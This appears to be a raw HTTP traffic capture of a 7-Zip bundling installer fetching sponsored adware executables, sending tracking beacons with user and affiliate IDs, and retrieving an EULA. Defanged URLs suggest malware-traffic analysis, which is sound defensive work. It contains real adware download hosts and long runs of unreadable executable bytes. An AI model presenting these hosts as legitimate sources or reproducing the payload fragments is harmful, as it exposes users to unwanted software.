....NH...7.;i...U..o...u..k#o....\Z..Ha^..T.H"'......s.........1...U.{
g..r..*o...^.....t%B....o.DV......!...8.....V @j....P.4o.z\..B.8S $z8.
/.x...~sw?ol..f.0}...a..`u.A...(n..o...:.).Ga..h^.jZ.'.c...q..^$..)...
..n.....y~~s[50...E.. ...S._A.F.}...F.e.shd<.4fL...j....|E...'U..e.
B.....Q.!J...K..Q._......6ME....b...`8.!.5.E..........'1.....2.D.SA.Lo
.]../..d.........SP......-n..g*.k.../....G]{..R...6s.....j.;..M.4.....
..s8.Q~.jbx.o.!..G.O... ..C....).:..........n".c.=.q].e..2.D....J..lFn
y../-....e....?......3`.|.......n.A...|h$;.....wu...1...4z9.t..#..f.&g
t;....A.).._..J..Bs/5.b_....C.}.....&...nU?n...Lb.hH....H.o...........
.RE.{...=.v.sjw.m!4f..AC).....1..F..A*..s.......;z^NMQ.P..D.SEf.......
AM........$.qzgM......=.....A.8..y...,......{..|......!...Q....u......
........m...8?......q...t.w...M.yE.D.K.h.........).......|....#...3...
.[.6.G......C..e..T.....!......k=...JuEzV./.w..."Cj.0......~T.N.......
.O.[..G5o..........Q...V.c..H.......'z..mX1.......}w.NE.K....j.1T=.)}.
....zS..9...v......A....$...........r..dc.."r.0..l..h..H.......;..
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=201020-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 120612
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 201020-321631/321632
Age: 553
X-Cache: Hit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: jkTnBdM5Ov35U_vYcedXaEM9Md5gnWAwhKTmLXkHU9ZWek4x4SiLaA==
........................8...V...j.....................................
..........(...P...b...p.......p.......h...............................
................................H.................C...C...C...C...C.o.
C.{[email protected].`.C.........u.A...A.m.B...B.[.B...A..bB...........B.w.A.
...................T........<...8}[email protected]...`.....y.......
..K..t}C.$vA...A...A..vA..vA.gvA.generic..}C.$vA..vA..vA..vA..vA.gvA..
[email protected].....~C.$vA..vA..vA..vA..vA.gvA.system..T~C.$vA..vA
..vA..vA..vA.gvA.iostream stream error.....C..#A.*....~C..yA.C.....C.0
rA...A..~C..{[email protected]..{A...A.H.C.0rA...A.............bad allocation.
...C..{A...A.regular expression error.....$C.DsC.DsC..$C..$C.$$C.$$C.,
$C.4$C.<$C.D$C.L$C.T$C.\$C.....r...a...r.b.....w.b.....a.b.....r. .
....w. .....a. .....r. .b...w. .b...a. .b...................!..."...2.
..*...............#...3... .........C...A...A.Unknown exception.....C.
[email protected].................
......................csm................. ...........Visual C   CRT: 
Not enough memory to complete call to strerror..LC_TIME.LC_NUMERIC..LC
_MONETARY.LC_CTYPE....LC_COLLATE..LC_ALL...%C......{B..%C...C..{B..%C.
..C.R.A..%C...C.2xB..%C...C.DuB..%C...C.^tB...........................
..... !"#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ
[\]^_`abcdefghijklmnopqrstuvwxyz{|}~.._.,.;...=...=;..................
......................................................................
..................................................................
<<< skipped >>>


GET /?gfe_rd=cr&ei=Z8jeVP-sNouu8we_84CgDA HTTP/1.1
Host: VVV.google.com.ua
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 302 Found
Location: hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=Z8jeVP-sNouu8we_84CgDA&gws_rd=ssl
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=f9c96424e7c75441:FF=0:TM=1423886440:LM=1423886440:S=x0iI3dLob2Vdjqpy; expires=Mon, 13-Feb-2017 04:00:40 GMT; path=/; domain=.google.com.ua
Set-Cookie: NID=67=F2fRYkTe9nRnKSkcaHjepsoDlzpQleZ4ZM4HsxJ2ZigAvd50xTrKrJgQgFjGVw1lLVMS7gzDn4DUxms2BXvO_p_vTfY_92CZm9B1abT9MtHmhrMmKMfuq6uelpEhGnky; expires=Sun, 16-Aug-2015 04:00:40 GMT; path=/; domain=.google.com.ua; HttpOnly
P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Date: Sat, 14 Feb 2015 04:00:40 GMT
Server: gws
Content-Length: 278
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=0.08
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=Z8jeVP-sNou
u8we_84CgDA&gws_rd=ssl">here</A>...</BODY></HTML
>..HTTP/1.1 302 Found..Location: hXXps://VVV.google.com.ua/?gfe_rd=
cr&ei=Z8jeVP-sNouu8we_84CgDA&gws_rd=ssl..Cache-Control: private..Conte
nt-Type: text/html; charset=UTF-8..Set-Cookie: PREF=ID=f9c96424e7c7544
1:FF=0:TM=1423886440:LM=1423886440:S=x0iI3dLob2Vdjqpy; expires=Mon, 13
-Feb-2017 04:00:40 GMT; path=/; domain=.google.com.ua..Set-Cookie: NID
=67=F2fRYkTe9nRnKSkcaHjepsoDlzpQleZ4ZM4HsxJ2ZigAvd50xTrKrJgQgFjGVw1lLV
MS7gzDn4DUxms2BXvO_p_vTfY_92CZm9B1abT9MtHmhrMmKMfuq6uelpEhGnky; expire
s=Sun, 16-Aug-2015 04:00:40 GMT; path=/; domain=.google.com.ua; HttpOn
ly..P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/suppo
rt/accounts/bin/answer.py?hl=en&answer=151657 for more info."..Date: S
at, 14 Feb 2015 04:00:40 GMT..Server: gws..Content-Length: 278..X-XSS-
Protection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Prot
ocol: 80:quic,p=0.08..<HTML><HEAD><meta http-equiv="con
tent-type" content="text/html;charset=utf-8">.<TITLE>302 Move
d</TITLE></HEAD><BODY>.<H1>302 Moved</H1>
;.The document has moved.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd
=cr&ei=Z8jeVP-sNouu8we_84CgDA&gws_rd=ssl">here</A>
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=145792-291584
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:56:59 GMT
Date: Sat, 14 Feb 2015 03:56:59 GMT
Content-Range: bytes 145792-291584/583168
Content-Length: 145793
Connection: keep-alive
..U...`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.
e62.d.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t.
..*...8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9..
......VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7
.o...V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ...
....\......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z.
..:...Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W...
.{.W...j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^
..7.. }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k....
..7-..0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... 
h.C..........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.
7.yZ.X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a...
.......".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.
. ..i ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..&
lt;`..R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.
M.....W}[email protected]....
 zi=-...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P..
.W....ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.
J1.B.>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9
f..0~.V.t...m'.=.F....cfA....vN....ae.L u7..q..#,H.............:....{j
...L.xb.......v....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%....
.c...*.I..
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=40204-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 281428
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 40204-321631/321632
Age: 553
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: TAArKert0ZhKABZi4mNSG8vUYKaro8CHuQTUsHa6pgjYwpR9SmlPlA==
...._^[..]..E........M..E..N .~..C.j......j.......I.g.@...@[email protected].@.*.
@...@...@...@. [email protected][email protected]<.......t....u..V..G(.O$RP.....
.>.u..V..G(.O$RP......F(.F4.F0.F8.......F......F ......t.j.j.j....F
<....G0.U..VW...G(.O [email protected]'.W(.G h....j.R......F$..u..O(.
W$VQ....._3.^]..G(.O Sj.P......F(..u .V$.G(.O$RP...W(.G$VR....._3.^]..
M....F,3..N8..........._..^]...U....0S....V...K..V4.M..N0.E..F W.~..E.
.U.;.s. ...... ....N, [email protected].}........)U..U.
...........E.............U..E....r..............V......1....$...@.....
.............. ....E......h.fC.h.VC.j.j....n.......F.....J....m.......
.............E................. s3.}....?...)U..M............E........
.....U..E... r..............;.......3.3..N..E.;.t.........a....N......
.....P....}.........}.........V,9U.u".F0.N(;.t..M.s. .H.E... ....U...u
\.M..E.Q.F4.u....N0.E..F4....E.;.s... .J...V, ..F,.U.9E.u..V(;.t..U.s.
 .I.M... ..E..}....X....F..M..E......E.;.v....M..M.;.v..M..U..E..M.RPQ
.T....E..E.)E..E.)E....)F..E..._....V...........N......s3.}........)U.
.M............E.............U..E....r.%.?........F....................
......S ........K(j.PQ......F..........m...E.....F.................N..
.....9N.sm...s3.}...._...)U..U............E.............U..E....r..N..
...gC..N........E.......V..N..............E.9N.r......9F.s".......V...
..gC..V.........F.9F.r..N$Q.V..F.RP.......F.P.........E.....6....F..E.
.......N...................9N...............E..N.;.s5.}....g...)U..U..
.......N.....E.............U..E.;.r....pVC..V.#......J..R..M..U...
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=510272-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:58:15 GMT
Date: Sat, 14 Feb 2015 03:58:15 GMT
Content-Range: bytes 510272-583167/583168
Content-Length: 72896
Connection: keep-alive
.&f...#t....p.[[email protected]=M.....s..r52.....,...F
......M{.*[email protected]...]A...._......J.V....W..sD . ......:...#<q
s...Z...).....`..J..B....O.'....i...9.=D.....mxw..0l..(. ..E...ok.....
h.z@.%....p...I..F..-....}2.....B.b<....Ryt.t..9..^Ut.P..A..D7s.y6_
M.dR.s..."`..~....w.O...P....i...w..p...=." !...}.|...&~...R.._p0.i...
vH.....4,7.0*.....F.y..".....p|........Tw MD....Wv.d. .s../...C..Y.V1.
v.uT20.">)..]..........p[.. .B.....O.3..mF7.IU.S.nZ.....K..r.t.Nl..
....a.t..p...^...{.....u.)j."......;..?]."..d.cp...Y#Q..........a.....
......6.....F\%....4&-(...Pp....1......~...E4.)...#.. ..............3.
........./..mn....9~...ZX.....O.\..^^N.O.(...* ..<SR..X...[.'......
.&.o...SS........?..........{/..&Q..}nb?..j..o..]4....`N.......}T.)...
Mmm.Le.I.. 5.i....!Ll...i .3......S.............&.%..i{.....X.LK..7.:.
E*;3<.L1.....4....B"%..>..U.(.Y..4~...p.....0.&. 5B....X.3..?...
...r..Q.=...v,.........t..x...[~c....-.*.0..jYL.{...fi...L|$z:..;.M...
.6e.eV.&..........W..y.DZ..rw..u.R2.p=...T...;h..B.{.A.=T....l..OV..sH
.e.@c_.x.........._0.E.h...P...=n.|..H.#.r.e....!0.8s..W2....G.lx....C
......p ....8........&V...=...e.......n.z..68.....u0....X\...w).E..Pq.
...}.,Pe.....n.((W..F...b.......x..6...s.@;....(.<.p]..s..C..|...xU
...ok7V.P....A.}Rq$qP...1.!V...T.c...J_..]..)m.RT0...t.... [email protected]#..
.Nw..j...)..PS...L.........$...M..\h..F|..f...,y.......PuB".8.f..<.
..e~......Oy!c6..n.... ...].....88.....h..C.....s.6UA....g.EE'@..Y.}..
.$.&S..........2}...l.!r........;.3...s.:..l.=.....k..Oj.hB~iB.o..
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=694049-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:58:22 GMT
Content-Type: application/octet-stream
Content-Length: 416427
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d....v#..fh%...R..o!....K.A...........W.."s!....#...
.a.N$S....0..1_......)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'...
.y..?........d....].]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8
...k.....*T...g..>Y"9...m.........J.E"H.: iZ...$..g)..`.d..........
.....O[.OJk.G..{.9......y.....}...........#...b.G...-c..._F...._..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=107085-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 178473
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 107085-285557/285558
Age: 1
X-Cache: Hit from cloudfront
Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Yi9FC6o1eInWRI32Q57b590zjuJXPPXbHO2df9XIe4IEgKb-FSe0qA==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].
<<< skipped >>>


GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:01:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..0..
....


GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:01:06 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
3d..{"stats":"error","time":"0.06 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 2015 04:01:06
 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunk
ed..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v
4..3d..{"stats":"error","time":"0.06 ms","message":"uid is not set"}..
0..



GET /sd?is=sm HTTP/1.1
Range: bytes=145792-291584
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 04:01:08 GMT
Date: Sat, 14 Feb 2015 04:01:08 GMT
Content-Range: bytes 145792-291584/583168
Content-Length: 145793
Connection: keep-alive
..U...`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.
e62.d.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t.
..*...8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9..
......VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7
.o...V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ...
....\......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z.
..:...Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W...
.{.W...j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^
..7.. }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k....
..7-..0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... 
h.C..........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.
7.yZ.X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a...
.......".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.
. ..i ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..&
lt;`..R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.
M.....W}[email protected]....
 zi=-...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P..
.W....ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.
J1.B.>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9
f..0~.V.t...m'.=.F....cfA....vN....ae.L u7..q..#,H.............:....{j
...L.xb.......v....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%....
.c...*.IK.b.jz.l.!)....U...&...........BxfJ$..U..SU...:.g>O./..
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=3&index_in_screen=1&index_in_session=3&display_height=90&0.8073159998251204 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.1.10.1423886295; __utmc=1; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:59:24 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:59:24 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2q90bop9bptps.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Length: 3430
Connection: keep-alive
Server: nginx
Date: Tue, 10 Feb 2015 15:14:03 GMT
Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT
ETag: "54da1999-d66"
Expires: Tue, 10 Feb 2015 15:24:03 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 493
X-Cache: Hit from cloudfront
Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: TOzrSqG6JGyjVtEEBAoRo2VuPr1Npeh-QM_CRYmnEg3sOXWH8j_5dg==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................
<<< skipped >>>

GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2q90bop9bptps.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 08 Feb 2015 05:01:02 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 08 Feb 2015 05:11:02 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: TcePf2PNJr8Ul_uWcClgrEtDQyFrwuaZ_7et0o5cT5i2X-SD5JfuqA==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
